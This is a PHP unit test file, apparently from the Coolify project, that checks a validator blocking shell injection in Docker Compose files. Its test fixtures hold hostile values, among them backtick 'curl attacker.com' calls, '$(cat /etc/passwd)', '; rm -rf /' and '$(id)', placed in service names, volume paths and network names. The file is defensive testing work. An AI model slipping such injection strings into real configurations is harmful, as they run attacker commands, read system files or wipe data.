Files
coolify/tests/Unit/PreSaveValidationTest.php
T
Andras BacsaiandClaude Opus 5.5 5b2724621a fix(compose): validate Git-based Docker Compose applications
Git-based Docker Compose applications skipped the Compose injection
validation that services use. It now runs when the file is loaded or
reloaded, when the raw Compose is saved (UI and API create), and at
deployment before any command uses the file; an unsafe file is not
saved, and a deployment stops with a clear log line.

- All 371 service templates and realistic Compose files still pass.
- Network names may now mix text with $VAR, ${VAR}, ${VAR:-default},
  or ${VAR-default} (for example ${COMPOSE_PROJECT_NAME}_default), so
  such existing applications keep deploying; command substitution and
  unsafe defaults stay rejected.
- Quote the preserved-repository path in a stat command.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:47:01 +02:00

322 lines
9.6 KiB
PHP

<?php
test('validateDockerComposeForInjection blocks malicious service names', function () {
$maliciousCompose = <<<'YAML'
services:
evil`curl attacker.com`:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/pwn`curl attacker.com`:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '$(cat /etc/passwd):/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks pipes in service names', function () {
$maliciousCompose = <<<'YAML'
services:
web|cat /etc/passwd:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test; rm -rf /:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection allows legitimate compose files', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www/html:/usr/share/nginx/html
- app-data:/data
db:
image: postgres:15
volumes:
- db-data:/var/lib/postgresql/data
volumes:
app-data:
db-data:
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA_PATH}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA:-$(cat /etc/passwd)}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection requires services section', function () {
$invalidCompose = <<<'YAML'
version: '3'
networks:
mynet:
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
});
test('validateDockerComposeForInjection handles empty volumes array', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes: []
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
// YAML parser will reject this before our validation (which is good!)
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test > /etc/passwd:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection validates volume targets', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/safe:/app`curl attacker.com`'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection handles multiple services', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www:/usr/share/nginx/html
api:
image: node:18
volumes:
- /app/src:/usr/src/app
db:
image: postgres:15
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks invalid top-level network names', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
"app'network":
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose network name');
});
test('validateDockerComposeForInjection blocks invalid service network list items', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
- "app'network"
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service network');
});
test('validateDockerComposeForInjection blocks invalid service network map keys', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
"app'network":
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service network');
});
test('validateDockerComposeForInjection blocks invalid compose network name fields', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
frontend:
name: "app'network"
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose network name field');
});
test('validateDockerComposeForInjection allows legitimate compose networks', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
- frontend
- backend
networks:
frontend:
backend:
name: app-backend
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows variables in compose network name fields', function (string $name) {
$compose = <<<YAML
services:
app:
image: nginx:latest
networks:
- shared
networks:
shared:
external: true
name: '{$name}'
YAML;
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
})->with([
'variable' => ['${SHARED_NETWORK}'],
'variable with a default' => ['${SHARED_NETWORK:-traefik_public}'],
'variable with an unset-only default' => ['${SHARED_NETWORK-traefik-public.1}'],
]);
test('validateDockerComposeForInjection still blocks unsafe compose network names with variables', function (string $name, string $where) {
$networkKey = $where === 'key' ? $name : 'shared';
$nameField = $where === 'name' ? $name : 'shared';
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n ".json_encode($networkKey).":\n name: ".json_encode($nameField)."\n";
expect(fn () => validateDockerComposeForInjection($compose))->toThrow(Exception::class, 'Invalid Docker Compose network name');
})->with([
'default with shell characters' => ['${NET:-bad name;id}', 'name'],
'default with command substitution' => ['${NET:-$(id)}', 'name'],
'command substitution' => ['$(id)', 'name'],
'backticks' => ['`id`', 'name'],
'text around a variable with command substitution' => ['prefix_${NET}$(id)', 'name'],
'nested variable' => ['${NET:-${OTHER}}', 'name'],
'invalid variable name' => ['${1NET}', 'name'],
'required-variable form' => ['${NET:?missing}', 'name'],
'newline' => ["\${NET}\nid", 'name'],
'variable as network key' => ['${NET}', 'key'],
]);
test('validateDockerComposeForInjection accepts network names that mix variables and text', function (string $name) {
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n shared:\n name: ".json_encode($name)."\n";
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
})->with([
'prefix and variable' => ['prefix_${NET}'],
'project default network' => ['${COMPOSE_PROJECT_NAME}_default'],
'variable with default inside text' => ['app-${APP_ENV:-prod}-net'],
'bare variable' => ['$PREFIX.edge'],
]);